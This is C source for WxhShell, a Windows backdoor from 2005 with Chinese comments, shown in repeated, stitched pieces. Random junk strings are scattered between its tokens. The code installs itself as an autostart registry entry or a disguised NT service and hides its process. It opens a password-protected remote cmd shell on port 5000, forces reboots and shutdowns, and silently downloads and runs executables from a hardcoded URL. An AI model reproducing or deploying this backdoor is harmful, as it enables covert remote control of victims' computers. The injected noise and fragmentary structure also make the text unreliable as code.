,"EnumProcessModules"); B/3xV:Gy g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]lE5^<<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d+ $:u uz=9L<$ if (!NtQueryInformationProcess) return 0; HoWK#Nz\ `G*fx=N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MD,BGO?C if(!hProcess) return 0; 9j5Z!Vsy G- ]_
d if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cyg(~7] NPa4I7`A CloseHandle(hProcess); U56g|V Eb29tq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "l#"c{ee{ if(hProcess==NULL) return 0; ^hT2ed + rploQF~OFF HMODULE hMod; S'@Ok=FSy char procName[255]; 20J-VN: unsigned long cbNeeded; G1ruF8 k<N5*k8M if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); { W5
_KX R7FI{A CloseHandle(hProcess); tBsvi%F hW;n^\lF#e if(strstr(procName,"services")) return 1; // 以服务启动 mOLz(0 W}(T5D" 3x return 0; // 注册表启动 j4=\MK } ;LKYA?=/V x&EMg! // 主模块 rO/Sj<0^ int StartWxhshell(LPSTR lpCmdLine) W3%RB[s- { 0}9j l SOCKET wsl; k@[[vj|W BOOL val=TRUE; p2+K-/}ApP int port=0; i.-2
w6 struct sockaddr_in door; CWd
& Z
6][9o if(wscfg.ws_autoins) Install(); Q!7mN?l {)Wa"|+ port=atoi(lpCmdLine); n2[h`zm1{B 2IkyC` if(port<=0) port=wscfg.ws_port; 7c@5tCcC- :kjs: 6f] WSADATA data; e\*(F3r if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cVmF'g I0^oaccM if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u:wijkx setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
xKepZ door.sin_family = AF_INET; sY]pszjT door.sin_addr.s_addr = inet_addr("127.0.0.1"); [~n|R Oo door.sin_port = htons(port); Sj8fo^K50 aan(69=jz if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p}X *HJq$ closesocket(wsl); Zu2
$$_+L return 1; *Rc?rMF ! } ,bB}lU) rQTG-& , if(listen(wsl,2) == INVALID_SOCKET) { iI*qx+>f? closesocket(wsl); 7|!Zx-} return 1; l#p?lBm1 } 'I2[}>mj2 Wxhshell(wsl); ``rYzj_ WSACleanup(); <0jM07\< Q,ZV C return 0; KT*"Sbh ^
$N3.O. } Yb:F,d-Ya swLNNA. // 以NT服务方式启动 'Q.5`o VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0AhUH|] { k#p6QAhS DWORD status = 0; 'RV wxd DWORD specificError = 0xfffffff; A43[i@o Kc>Rd serviceStatus.dwServiceType = SERVICE_WIN32; p DU+(A4> serviceStatus.dwCurrentState = SERVICE_START_PENDING; VArMFP)cz serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )"E1/$*k serviceStatus.dwWin32ExitCode = 0; %GMCyT serviceStatus.dwServiceSpecificExitCode = 0; C
MGDg} serviceStatus.dwCheckPoint = 0; +)_DaL
E serviceStatus.dwWaitHint = 0; :8?l=B9("g /6y;fx hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f\Q_]%^W if (hServiceStatusHandle==0) return; )|Ka'\xr I3}I7oc_ status = GetLastError(); 9h6siK(F if (status!=NO_ERROR) W{ZJ^QAq/ { 1{qG?1<zZ6 serviceStatus.dwCurrentState = SERVICE_STOPPED; 7!6v4ZA serviceStatus.dwCheckPoint = 0; y+Bxe)6^V serviceStatus.dwWaitHint = 0; )cm^;(#pV serviceStatus.dwWin32ExitCode = status; )R"UX:Q> serviceStatus.dwServiceSpecificExitCode = specificError; zzT4+wy` SetServiceStatus(hServiceStatusHandle, &serviceStatus); `2q]ju return; &m TYMpA } $bZ5@)E (Q.I DDlr serviceStatus.dwCurrentState = SERVICE_RUNNING; 1XHE:0!dQ serviceStatus.dwCheckPoint = 0; ~O3VX75f serviceStatus.dwWaitHint = 0; SkU9iW(k if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N#X*
0i" } i> {0h3Y UcB2Aauji // 处理NT服务事件,比如:启动、停止 w+XwPpM0.n VOID WINAPI NTServiceHandler(DWORD fdwControl) [o
6 { G
P '- switch(fdwControl) m;>:mwU { RiIafiaD case SERVICE_CONTROL_STOP: [X@JH6U
r serviceStatus.dwWin32ExitCode = 0; t
^1uj:vD serviceStatus.dwCurrentState = SERVICE_STOPPED; +zl[C serviceStatus.dwCheckPoint = 0; =n8M' serviceStatus.dwWaitHint = 0; 6ywOL'OBM { mdcsL~R SetServiceStatus(hServiceStatusHandle, &serviceStatus); J{nA
?[ } (/!zHq return; !d95gq<=> case SERVICE_CONTROL_PAUSE: \|Y_,fi serviceStatus.dwCurrentState = SERVICE_PAUSED; 5wv7]F< break; g5*?2D}dqX case SERVICE_CONTROL_CONTINUE: /?}2OCq serviceStatus.dwCurrentState = SERVICE_RUNNING; Lo=n)cV 1, break; ZRFHs>0 case SERVICE_CONTROL_INTERROGATE: 1_M}Dc+J break; 6 8Vxy }; iY5V4Gbo SetServiceStatus(hServiceStatusHandle, &serviceStatus); !3z
;u8W } 1buO&q!vn YuoIhT // 标准应用程序主函数 7~L_>7; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -NA2+]. { O5*3
qJp $A T kCO // 获取操作系统版本 [|(=15; OsIsNt=GetOsVer(); $1k@O@F(4 GetModuleFileName(NULL,ExeFile,MAX_PATH); <%=<9~e D@c@Dt // 从命令行安装 fC$@m_-KD if(strpbrk(lpCmdLine,"iI")) Install(); ]q&NO(:kbq y
QGd<( // 下载执行文件 5>~D3?IAd if(wscfg.ws_downexe) { ?Q"1zcX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?0lz!Nq'S WinExec(wscfg.ws_filenam,SW_HIDE); P5lk3Zg' } Iq
0ew 1*trtb4F if(!OsIsNt) { g3(LDqB'. // 如果时win9x,隐藏进程并且设置为注册表启动 ^^*Ia'9 HideProc(); ? ^`fPH= StartWxhshell(lpCmdLine); dKa2_|k' } r5NH*\Q else }$(\,SzW if(StartFromService()) BW"24JhF" // 以服务方式启动 x]t$Zb/Uxa StartServiceCtrlDispatcher(DispatchTable); v'r)d-T else ;f)AM}~^Q // 普通方式启动 c Ze59 StartWxhshell(lpCmdLine); kX+98?h-C aF>&X-2 return 0; `^h:}V } q*cEosi'F? r^ABu_u(`I 0:B%,nUM Sar1NkD# =========================================== sFsf~| Xx\,<8Xn e-b> s3VD6xi7 2)-4?uz~ ?MS!t6 " 2W#^^4^+ DZ9^>`* #include <stdio.h> eL{$=Um #include <string.h> > iYdr/^a #include <windows.h> {$v^2K'C #include <winsock2.h> L<6nM
;d #include <winsvc.h> F& #include <urlmon.h> pX1Us+% )c532
y #pragma comment (lib, "Ws2_32.lib") J5Ti@(G5V #pragma comment (lib, "urlmon.lib") FOjX,@x& %OP|%^2 #define MAX_USER 100 // 最大客户端连接数 Fqh./@o #define BUF_SOCK 200 // sock buffer (B!DBnq #define KEY_BUFF 255 // 输入 buffer p8Z;QH* #L57d #define REBOOT 0 // 重启 &2I8!Ia #define SHUTDOWN 1 // 关机 F@zTz54t
=y`-:j\ #define DEF_PORT 5000 // 监听端口 6;;2e> e :39arq #define REG_LEN 16 // 注册表键长度 r`<x@, #define SVC_LEN 80 // NT服务名长度 XWq"_$&LF d1'= \PYr // 从dll定义API 5hTScnL% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `7[!bCl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wc&D[M]-/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7NnXt' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z#GSt
ZT ;<"V},
C // wxhshell配置信息 0Gu?;]GSv struct WSCFG { k"%sdYkb! int ws_port; // 监听端口 >qmNT/ char ws_passstr[REG_LEN]; // 口令 DfVJ~,x~ int ws_autoins; // 安装标记, 1=yes 0=no $8SSu|O+x char ws_regname[REG_LEN]; // 注册表键名 pgZQ>% char ws_svcname[REG_LEN]; // 服务名 QS1lg char ws_svcdisp[SVC_LEN]; // 服务显示名 ($W%&(:/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 }>V=J aG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ixE w!t int ws_downexe; // 下载执行标记, 1=yes 0=no rmr :G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wSPmiJ/! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i'\-Y]?[ ?CcX>R-/ }; D0z[h(m F/3L^k] // default Wxhshell configuration B+Ft
> struct WSCFG wscfg={DEF_PORT, KVUub'k "xuhuanlingzhe", $`lm]} {& 1, \,r*-jr "Wxhshell", 0j8`M"6 "Wxhshell", afzx?ekdF "WxhShell Service", ?e,:x ]\L "Wrsky Windows CmdShell Service", >y(loMl "Please Input Your Password: ", mIqm/5 1, '?g&);4)k- "http://www.wrsky.com/wxhshell.exe", 0Ng?U+6 "Wxhshell.exe" M^>l>?#rl }; lcgG5/82 L4bYVTm| // 消息定义模块 yrl7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WNKg>$M char *msg_ws_prompt="\n\r? for help\n\r#>"; B<n[yiJ} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7S=,# char *msg_ws_ext="\n\rExit."; TQ0ZBhd char *msg_ws_end="\n\rQuit."; Sw5:T char *msg_ws_boot="\n\rReboot..."; 5UG9&:zu'V char *msg_ws_poff="\n\rShutdown..."; ]lqZ9rO char *msg_ws_down="\n\rSave to "; OhlK;hvdB* {TdxsE> char *msg_ws_err="\n\rErr!"; 1LAd5X char *msg_ws_ok="\n\rOK!"; "fUNrhCx xq=!1> char ExeFile[MAX_PATH]; #kA?*i[T int nUser = 0; DbX7?Jr HANDLE handles[MAX_USER]; ]yL+lv int OsIsNt; ;jN1n
xF md!!$+a%| SERVICE_STATUS serviceStatus; `l/nAKg?W SERVICE_STATUS_HANDLE hServiceStatusHandle; LsaX
HI/?b :8==Bu // 函数声明 >yHtGIHe- int Install(void); 5SmJ'zFO int Uninstall(void); *ZFF$0} int DownloadFile(char *sURL, SOCKET wsh); J9DI(` int Boot(int flag); {9.UeVz void HideProc(void); 3IB9-wG int GetOsVer(void); *X ;ch55\ int Wxhshell(SOCKET wsl); lNtxM"G& void TalkWithClient(void *cs); *[*q#b$j int CmdShell(SOCKET sock); a|.IAxJ int StartFromService(void); Q"GM3? int StartWxhshell(LPSTR lpCmdLine); F`2h,i-9 X%kJ3{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sUK|*y VOID WINAPI NTServiceHandler( DWORD fdwControl ); |]k,0Y3v Aq$1#1J // 数据结构和表定义 I,HtW ), SERVICE_TABLE_ENTRY DispatchTable[] = e6
x#4YH { .kMnq8u {wscfg.ws_svcname, NTServiceMain}, )N607 Fa- {NULL, NULL} 5MKM;6cA&p }; |v5
ge3- ~I%164B+/ // 自我安装 nZ (wfNk int Install(void) TW70z]B { [{Q$$aV1 char svExeFile[MAX_PATH]; E)f9`][ HKEY key; gA}<Y strcpy(svExeFile,ExeFile); 4VwMl)8ic S]~5iO_bst // 如果是win9x系统,修改注册表设为自启动 qu dY9_ if(!OsIsNt) { [@8 po-()L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kWy@wPqms RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b-#lKWso RegCloseKey(key); D6+3f#k6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "5O>egt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a?8)47) RegCloseKey(key); v+`'%E return 0; R5(([C1 } }4H}*P> + } WBkx!{\z } \_6 else { 75R#gQ]EV !MOsP<2 // 如果是NT以上系统,安装为系统服务 zUZET'Bm9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5>daWmD if (schSCManager!=0) &=$f\O1Ty { Dj'?12Onu= SC_HANDLE schService = CreateService A9u>bWIE7 ( m)"(S schSCManager, @G=7A;-pv0 wscfg.ws_svcname, W*#5Sk wscfg.ws_svcdisp, -C}"1|P! SERVICE_ALL_ACCESS, RWo7_X O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "` cP V){] SERVICE_AUTO_START, b=pk;'- SERVICE_ERROR_NORMAL, J:>o\%sF svExeFile, |YyNqwP`, NULL, un -h%-e| NULL, Ql l{;A NULL, 5(hv|t/a NULL, v1X[/\;U NULL S.1>bs2 ); Ol+D"k~<C if (schService!=0) ]?wz. { hfyU}`]
CloseServiceHandle(schService); !K}W.yv, CloseServiceHandle(schSCManager); `BG>%# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %O" Whe strcat(svExeFile,wscfg.ws_svcname); ,+6u6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ruB D
^- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g<M!]0OK RegCloseKey(key); HiU)q return 0; ~9vK6;0 } ujmIS~" } j|K;Yi CloseServiceHandle(schSCManager); r<!nU&FPD: } a|oh Ad } Yk|.UuXT w4\
3* return 1; ~n%Lo3RiP } N#"l82^H* I^ ![)# FC // 自我卸载 JJ}DYv int Uninstall(void) r hucBm { Og1vD5a HKEY key; $ B&ZnZ? EA8plQ~GtE if(!OsIsNt) { RtHai[j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "0#(<zb| RegDeleteValue(key,wscfg.ws_regname); !bYVLFp=\_ RegCloseKey(key); Ry]9n.y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g0U?`;n$ RegDeleteValue(key,wscfg.ws_regname); U0:*?uA. RegCloseKey(key); _80L/92 return 0; bEQ- ?X%7 } c!7WRHJE_a } 42"nbJ } DgW@v[#BK= else { T@IzfX7 F!)[H["_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _0'X!1" if (schSCManager!=0) Y)pop:y t { ]j6pd*H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )lS04|s if (schService!=0) `NgQ>KV! { 3.BUWMD if(DeleteService(schService)!=0) { 7]T(=gg / CloseServiceHandle(schService); ")i)vXF' CloseServiceHandle(schSCManager); @_-,Q5 return 0; >Jx=k"Kv+ } GF%/q :9 CloseServiceHandle(schService); uK"FopUJ4i } 'F.P93 CloseServiceHandle(schSCManager); sRT H_]c } `VO;\s$5j } n9={D tm=,x~ return 1; YARL/V } Z Se30Rl\ X 5
or5v // 从指定url下载文件 ~i?A! int DownloadFile(char *sURL, SOCKET wsh) #\Rxqh7 { SF,:jpt`Z+ HRESULT hr; b5^>QzgD char seps[]= "/"; {x,)OgK!{ char *token; 3Q=\W<Wu char *file; .9B@w+=6 char myURL[MAX_PATH]; 0,DrVGa char myFILE[MAX_PATH]; ^IuhHP a?r$E.W'& strcpy(myURL,sURL); !s1<)%Jt token=strtok(myURL,seps); Qr~!YPK\ while(token!=NULL) qwj7CIc( { r1<*=Fs=>> file=token; g%S/)R,,ct token=strtok(NULL,seps); 7:uz{xPK6 } a4~B 1Xm>nF~ GetCurrentDirectory(MAX_PATH,myFILE); K)J_q3qo strcat(myFILE, "\\"); ( s4W& strcat(myFILE, file); (E00T`@t0i send(wsh,myFILE,strlen(myFILE),0); Ru*gbv,U send(wsh,"...",3,0); /Z^a,%1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 87l*Y|osP if(hr==S_OK) )/)u.$pi return 0; W#P\hx else bRm;d_9zC return 1; lD[@D9 @U5gxK* } 9]IZ3
fQX z!bT^_Cc0 // 系统电源模块 ,v8e7T int Boot(int flag) 7A(4`D J { 0Pf88 '6 HANDLE hToken; p$1 'e,G TOKEN_PRIVILEGES tkp; 9Q s5e Bx|W#:3e if(OsIsNt) { ,Owk;MV@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O H2IO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BX[IWP\% tkp.PrivilegeCount = 1; 1%B9xLq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N}B&(dJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IP#vfM if(flag==REBOOT) { TA*}p=?6?! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]YhQQH1>] return 0; >_yL@^ } 0/f|ZH ~! else { Lr*PbjQDIY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :K2
X~Ty return 0; $#D#ezvxe } TU~y;:OJ } mp$IhJ6# else { `Pj7:[."[ if(flag==REBOOT) { 6z U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n8;L_43U return 0; xk>cdgt } \^dse else { }WC[<AqI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qF bj~ec return 0; uVU)LOx } ' abEY } A~vx,|I e Fz$h2*B return 1; 4_QfM}Fyp } t.;._' =T2SJ) // win9x进程隐藏模块 9;7"S.7AV void HideProc(void) @B>D>B { 7_s+7x =
B(s^(__] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8TB|Y if ( hKernel != NULL ) X+A@//,7 { 8h=m()Eu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oZY|o0/9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ss5@ n FreeLibrary(hKernel); +0%r@hTv&> } 56s%Qlgx )JTQZ,f3] return; ZJ2
MbV.6 } jnJ*e-AW oA-,>:}g{ // 获取操作系统版本 R~a9}& int GetOsVer(void) o#wly%i') { (y!bvp[" m OSVERSIONINFO winfo; *> nOL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bskoi;)u GetVersionEx(&winfo); p#P<V% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QjSWl,{
$D return 1; P<&bAsje else 1ds4C:M+< return 0; 4pT^* } I(R%j]LX& \)uA:v // 客户端句柄模块 2=K|kp5 int Wxhshell(SOCKET wsl) sHBTB6)lx { ghB&wOm/ SOCKET wsh; 6ZHeAb]" struct sockaddr_in client; c$ib- DWORD myID;
V^Z5i]zT rM= :{ while(nUser<MAX_USER) r?[[.zm"7 { e'$[PF int nSize=sizeof(client); qQ)1+^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -|}?+W if(wsh==INVALID_SOCKET) return 1; 9rz$c, Y( UJqh~s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IowXVdm@6 if(handles[nUser]==0) +=9iq3<yfS closesocket(wsh); <\$"U5"` else u4
es8" nUser++; 1\@PrO35J } qZ[HILh! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Am@Ta "2 !`Kg&t [&V return 0; tc`3-goX } "TaLvworb4 *8,W$pe3 // 关闭 socket B`R@%US void CloseIt(SOCKET wsh) MQw}R7 { %+Nng<_U\T closesocket(wsh); |k}L=oWE nUser--; Vv(buG ExitThread(0); n;:.UGl9. } .+XK>jl+ G.L}VpopM // 客户端请求句柄 ^(+q1O' void TalkWithClient(void *cs) cOdRb=?9 { b1#C,UWK rAHP5dx: SOCKET wsh=(SOCKET)cs; p({@t=L3g char pwd[SVC_LEN]; GO2q"a char cmd[KEY_BUFF]; Pi5MFw'v char chr[1]; !\{2s!l~ int i,j; *j&\5|^V EmO[-W|2 while (nUser < MAX_USER) { X(x,6cC @ntwdv; if(wscfg.ws_passstr) { h9m|f|cH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c"kB @P
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %>+lr%B //ZeroMemory(pwd,KEY_BUFF); m_Ed[h/I i=0; tik*[1it while(i<SVC_LEN) { | WJ]7C \PT!mbB? // 设置超时 hY{4_ie=8 fd_set FdRead; YC 4c-M struct timeval TimeOut; FEu}zt@
FD_ZERO(&FdRead); LvS5N)[ FD_SET(wsh,&FdRead); NvIg,@} TimeOut.tv_sec=8; /f?;,CyI TimeOut.tv_usec=0; 9c}C<s`M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E<-W & a } if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zP0<4E$M` 4$vUD1(' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v7@"9Uw} pwd=chr[0]; 5|eX@?QF58 if(chr[0]==0xd || chr[0]==0xa) { 3,G|oR{D pwd=0; yw+]S break; 7Z:HwZ } ~b#<HG\,, i++; t*Ro2QZ } 1WqCezI :kI[Pf!z // 如果是非法用户,关闭 socket X4:84 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jbe:"Stw } P]^8Enp B0yGr\KJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); . mO8~Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }OcrA/ Q?j '4 while(1) { 0&NM=~ (T2HUmkQ6 ZeroMemory(cmd,KEY_BUFF); "Y^Fn,c 3v3cK1K@oE // 自动支持客户端 telnet标准 7^rT-f07 j=0; y=\&z&3$ while(j<KEY_BUFF) { mp sX4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a>4q"IT6 cmd[j]=chr[0]; UK^w;w2F if(chr[0]==0xa || chr[0]==0xd) { 1S(oi cmd[j]=0; T;Kv<G; break; J_&cI%. } 7ZAxhFC j++; YG*<jKcX } >#r0k|3J^J *wqR .n? // 下载文件 _G-6G=q if(strstr(cmd,"http://")) { VWdTnu send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iw?^ if(DownloadFile(cmd,wsh)) d=+zOF send(wsh,msg_ws_err,strlen(msg_ws_err),0); YSB> WBS-< else 9({ 9 r[U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;6 d-+(@ } c{D<+XM else { hA/Es?U] +7WpJ;C4 switch(cmd[0]) { p[WlcbBwT ~yXDN4s // 帮助 X0ugnQ6 case '?': { S]fkA6v
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }3Ke break; VrT-6r'Y } (]mBAQ#hw // 安装 $ta"Ug.z case 'i': { h-Ks:pcR if(Install()) 1n2Pr'|s send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bf^K?:r"V else ''9K(p6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Qnr0t@0 break; fOSJdX0e|Q } mBrZ{hqS // 卸载 h8M}} case 'r': { 4>Ht_B<< if(Uninstall()) !F6rcDK I send(wsh,msg_ws_err,strlen(msg_ws_err),0); m>[G-~0?kI else JT6Be8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gz\wmH&rVz break; IYptNR } UZiL NKc // 显示 wxhshell 所在路径 <uoVGV5N case 'p': { 0.!vp?
char svExeFile[MAX_PATH]; P&c O2 strcpy(svExeFile,"\n\r"); vqUYr strcat(svExeFile,ExeFile); <Cs9$J send(wsh,svExeFile,strlen(svExeFile),0); uW}M1kq?+l break; ):=8w.yC } fK@UlMC]7 // 重启 2WKIO|' case 'b': { tQxAZ0B^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FDBNKQV if(Boot(REBOOT)) Q-s5-&h( send(wsh,msg_ws_err,strlen(msg_ws_err),0); h>xB"E|. else { z:O:g?A closesocket(wsh); S>HfyZ&Pc ExitThread(0); }{J>kgr6 } i[33u p break; Wa?\W& } )!zg=}V // 关机 )WEOqaR] case 'd': { T9}dgf send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vXdI)Sx[ if(Boot(SHUTDOWN)) ow,! 7|m send(wsh,msg_ws_err,strlen(msg_ws_err),0);
NQ '|M else { }DvT6 closesocket(wsh); :W-xsw ExitThread(0); $RRh}w\0^ } - sq=| break; (S=CxK } ffOV7Dxy // 获取shell ^'sy hI\ case 's': { gz:US77 CmdShell(wsh); {c
$8?6 closesocket(wsh); *m&'6qsS ExitThread(0); qvh8~[ break; #x6wM~ } |D;I>O^"R // 退出 : 9>U+)% case 'x': { Oeg^%Y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .nA9irc CloseIt(wsh); PGTjOkx break; .q 4FGPWz } =':SOO7 // 离开 oC!z+< case 'q': { wUS w9xg send(wsh,msg_ws_end,strlen(msg_ws_end),0); ncR]@8 closesocket(wsh); Q`=d5Uvw WSACleanup(); ?|hYtV exit(1); [].euDrX break; K9RRY,JB } )DQcf]I } (f"LD8MJ/ } L1SZutWD? )5diX
+
k // 提示信息 (3m^@2i if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JAmpU^(C } </Dv? } kf' 4C
"} Lp{uA4:=K return; !|,djo!N } *u>[ =@;\9j // shell模块句柄 @# p{,L int CmdShell(SOCKET sock) c5eimA%` { Fe 78YDx? STARTUPINFO si; uH} }z ! ZeroMemory(&si,sizeof(si)); B1U7z1< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .T~Oc'wGo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $C{-gx+: PROCESS_INFORMATION ProcessInfo; ]PH'G>x char cmdline[]="cmd"; =^ x1:Ak CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %$R]NL| return 0; Uo:=-NNI } CY@#_z Q\le3KB // 自身启动模式 NrcxuItkYn int StartFromService(void) kbx4I? { al]-*=v7} typedef struct Cj6$W5I m { thh0~g0/ DWORD ExitStatus; >\1j`/ :ZI DWORD PebBaseAddress; [@$t35t~ DWORD AffinityMask; 7t%
|s!~ DWORD BasePriority; Ch&2{ng ULONG UniqueProcessId; ?ieC>cr ULONG InheritedFromUniqueProcessId; bqZ5GKUo } PROCESS_BASIC_INFORMATION; [_tBv" z Xf|I=XK PROCNTQSIP NtQueryInformationProcess; N*}g+IS H7Ee0T(` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _GL:4 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jQ P2[\ mx0EEU* HANDLE hProcess; 8/CK(G PROCESS_BASIC_INFORMATION pbi; @B>pPCowa GUvEOD=p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E$5A
1 if(NULL == hInst ) return 0; h`MTB!o T5TAkEVl g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +78cQqDY! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =?1B|hdo NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ";w"dfC^ (5=B^9{R if (!NtQueryInformationProcess) return 0; _Qf310oONS Y$eO:67; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SOJkeN if(!hProcess) return 0; G9ra;.
